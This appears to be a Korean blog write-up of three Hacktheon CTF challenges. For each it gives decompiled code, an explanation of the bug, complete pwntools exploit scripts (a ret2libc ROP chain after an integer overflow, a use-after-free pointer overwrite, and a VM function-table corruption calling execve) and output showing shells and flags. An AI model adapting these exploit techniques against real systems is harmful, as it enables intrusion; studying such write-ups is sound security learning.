System Hacking (pwnable)/CTF Write-up

[Hacktheon] Hacktheon CTF pwn ( write - up )

hellojuntae 2022. 8. 12. 10:30

2년만에 포스팅 ...

대학생 신분(대학부)로서는 처음으로 하는대회! 대학원생 형들 두분 / 새내기 친구 한명과 우수상 수상했습니다.

다만 문제의 대부분이 CCE 2021 예선 문제를 재탕한 경우가 많아서 아쉬웠네요. 규모로보나 상금으로보나 큰 대회였는데 ..

PWNABLE 3 (SJ-004) 리턴 지향 프로그래밍

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-14h] BYREF
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  __int64 v6; // [rsp+18h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  *s = 0LL;
  v6 = 0LL;
  v4 = 0;
  puts("This is Corona Inspection Center. Enter your name");
  puts("len??");
  __isoc99_scanf("%d", &v4);
  if ( v4 <= 16 )
  {
    puts("name??");
    readname(s, v4);
    puts(s);
  }
  else
  {
    puts("too long~");
  }
  return -1;
}

이름의 lenght를 입력받을때, int형 변수인 v4에 값을 입력받는다. 이때, 값이 16보다 크지 않아야하는데, 음수일 경우를 고려하지 않았다. 따라서, v4에 -1을 입력하면 integer overflow가 발생하며 BOF를 통한 공격을 진행할 수 있다.

from pwn import *

binary = "./simple_overflow"
e = ELF(binary)
#libc = e.libc
libc = ELF("./libc.so.6")
#r = process(binary)
r = remote("apse2021.cstec.kr",4147)

rdi = 0x0000000000401333

r.sendlineafter("len??", str(-1))

payload = "A" * 0x18 + p64(rdi) + p64(0x0000000000404018) + p64(0x0000000000401070) + p64(e.symbols["main"])
r.sendlineafter("name??", payload)

l = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00") - libc.symbols["puts"]
log.info("libc base : " + hex(l))

payload = "A" * 0x18 + p64(rdi + 1) + p64(rdi) + p64(l + list(libc.search("/bin/sh"))[0]) + p64(l + libc.symbols["system"])
r.sendlineafter("len??", str(-1))

pause()
r.sendlineafter("name??", payload)

r.interactive()
juntae@DESKTOP-JMM87AS:~/pwn/pwn3$ python2 ex.py 
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/juntae/pwn/pwn3/simple_overflow'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[!] Could not populate PLT: cannot import name arm_const
[*] '/home/juntae/pwn/pwn3/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to apse2021.cstec.kr on port 4147: Done
[*] libc base : 0x7f48d45aa000
[*] Paused (press any to continue)
[*] Switching to interactive mode

AAAAAAAAAAAAAAAAAAAAAAAA4\x13
$ cat /flag
apollob{a04b88bd610bb545be2d2f78ccc22642418dd4a722bbe72523708bd3c614ed12f6a56b2f7d30b93a4f9b80386d8fa95335e230bacb1573a02703a01ab49772d2c487410773c814b7c4a1}

PWNABLE 1 (SJ-002) - 사용 후 해제

어렵지 않은 유형의 UAF이다. 힙을 해제하고 포인터를 초기화 하는 등의 활동을 하지 않아 modify로 이미 free된 heap memory를 수정할 수 있다.

이를 통하여 fd를 수정할 수 있고, 굳이 Double Free Bug를 트리거하지 않더라도 문제를 해결할 수 있다.

from pwn import *

binary = "./simple_uaf"
e = ELF(binary)
libc = e.libc
#r = process(binary, env = {'LD_PRELOAD' : './libc.so.6'})
#r = process(binary)
r = remote("apse2020.cstec.kr", 7714)

go = lambda x : r.sendlineafter(">",str(x))
go2 = lambda x : r.sendlineafter(":",str(x))

r.recvuntil("0x")
l = int(r.recv(12),16) + 0x4F440 - 0x4f550
log.info("libc base : " + hex(l))

def add(name, age):
    go("1")
    go2(name)
    go2(age)

def delete(index):
    go("3")
    go2(index)

def modify(index, value, age):
    go("2")
    go2(index)
    go2(value)
    go2(age)

add("A" * 0x8, 111)
add("B" * 0x8, 222)

payload = "A" * 0x38 + p64(l + 0x10a41c) * 5
modify(0, payload, 1234)

go("4")
go2(1)

r.interactive()
juntae@DESKTOP-JMM87AS:~/hacktheon/pwn1$ python ex.py 
[*] '/home/juntae/hacktheon/pwn1/simple_uaf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] u'/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to apse2020.cstec.kr on port 7714: Done
[*] libc base : 0x7fb06863f000
[*] Switching to interactive mode
 $ id
uid=1000(simple_uaf) gid=1000(simple_uaf) groups=1000(simple_uaf)
$ cat /home/simple_uaf/flag
apollob{85f5486ebb9d405c51b35f7bf14c27618a4fec40238bcf873d646b5763cef3bbf41d70e67c595b418c5367d6dbaa12b665e4d84ac75e32a6dd19e30edcc1ba922db520df}

REVERSING 2 (SJ-005) - 가상머신

void __noreturn start()
{
  __int64 i; // r15
  __int64 v1; // r8

  for ( i = 0LL; ; ++i )
  {
    v1 = *(&opcode + i);
    (*&functionTable[8 * v1 + 22])();
  }
}

VM문제이다. 바이너리가 매우 작다.

함수 테이블이 있고, opcode를 통해 해당 함수테이블에 접근한다. 수도코드를 제작하면 아래와 같다.

0x5 xor rax, rax
0x6 xor rdi, rdi
0x3 set rsi
0x4 set rdx
0x7 syscall 
0xa mov eax, [input]
0x8 mov ebx, 'hack'
0xb xor 'hack', '_RPZ' 
0xe cmp string
    jne WRONG
0x5 xor rax, rax
0xc inc rax
0x6 xor rdi, rdi
0x13 inc rdi
0x9 set string("good job!")
0x4 set rdx
0x7 syscall
0x1 set rax 
0x6 xor rdi, rdi
0x7 syscall

:WRONG
0x5 xor rax, rax
0xc inc rax            

0x6 xor rdi, rdi
0x13 inc rdi
0x9 set string("try harder!") 
0x4 set rdx
0x7 syscall

이 때, 1337이라는 값을 제대로 입력했을 경우에는 good job!을 출력하며 exit를 통해 프로그램을 종료하지만, 틀린 값을 입력했을 경우, 해당 값을 opcode로 참조하여 Segmentaion Fault가 발생한다. 이렇게 4바이트의 opcode를 통하여 프로그램의 흐름을 어느정도 제어할 수 있다.

아래와 같은 방법을 사용했다.

0x5 xor rax, rax
0x6 xor rdi, rdi
0x3 set rsi
0x4 set rdx
0x7 syscall < 요기 rdx * rdx로 바꿈
0xa mov eax, [input] < 요기 syscall로 바꿈
0x8 mov ebx, 'hack'
0xb xor 'hack', '_RPZ' 
0xe cmp string
    jne WRONG
0x5 xor rax, rax
0xc inc rax
0x6 xor rdi, rdi
0x13 inc rdi
0x9 set string("good job!")
0x4 set rdx
0x7 syscall
0x1 set rax 
0x6 xor rdi, rdi
0x7 syscall

:WRONG
0x5 xor rax, rax
0xc inc rax            < 요걸 imul rdx rdx로 바꿈 0000000000401096

0x6 xor rdi, rdi
0x13 inc rdi
0x9 set string("try harder!") < 요걸 syscall로 바꿈
0x4 set rdx
0x7 syscall

익스코드는 아래와 같다.

from pwn import *

binary = "./revpwn"
#r = process(binary)
r = remote("apse2021.cstec.kr",1337)

payload = "\x05\x10\x06\x07"
r.send(payload)

sleep(0.1)

payload = "A" * 0x16 + p64(0x401000)
payload += p64(0x000000000040101e) + p64(0x000000000040102a)
payload += p64(0x0000000000401036) + p64(0x0000000000401042)
payload += p64(0x000000000040104e) + p64(0x0000000000401052)
payload += p64(0x0000000000401096) + p64(0x0000000000401059)
payload += p64(0x000000000040105f) + p64(0x0000000000401056)
payload += p64(0x0000000000401072) + p64(0x0000000000401096)
r.send(payload)

sleep(0.1)

payload = "\x05\x06\x04" + p64(0x500) + "\x0a"
r.send(payload)

sleep(0.1)

pause()
payload = "/bin/sh\x00" + "B" * (0x16 - 8) + p64(0x401000)
payload += p64(0x000000000040101e) + p64(0x000000000040102a)
payload += p64(0x0000000000401036) + p64(0x0000000000401042)
payload += p64(0x000000000040104e) + p64(0x0000000000401052)
payload += p64(0x0000000000401056) + p64(0x0000000000401059)
payload += p64(0x000000000040105f) + p64(0x000000000040106a)
payload += p64(0x0000000000401072) + p64(0x000000000040107c)
payload += p64(0x0000000000401080) + p64(0x000000000040108b)
payload += p64(0x0000000000401091) + p64(0x0000000000401096)
payload += p64(0x000000000040109b) + p64(0x00000000004010a0)
payload += p64(0x00000000004010a5) + p64(0x00000000004010a9)

payload += "\x02" + p64(0x402000) + "\x03" + p64(0)
payload += "\x04" + p64(0) + "\x01" + p64(59) + "\x07"
r.send(payload)


r.interactive()

함수 테이블을 변조하고, execve("/bin/sh",NULL,NULL)을 call하여 쉘을 획득하였다. 이 때, read함수의 rdx인자(입력길이)를 늘리기 위하여 imul rdx, rdx가젯을 활용하였다.

juntae@DESKTOP-JMM87AS:~/hacktheon/rev2$ python ex.py 
[+] Opening connection to apse2021.cstec.kr on port 1337: Done
[*] Paused (press any to continue)
[*] Switching to interactive mode
try harder!
$ cat flag
apollob{ffeed05502ace8942245a8dc356dc0490c0a27c4058d63dac1023cc67e02605de8febeefae3ea5fc286e82ee3af1d6e1f599a91cefc153feaf8c3f5598b2e88d627707}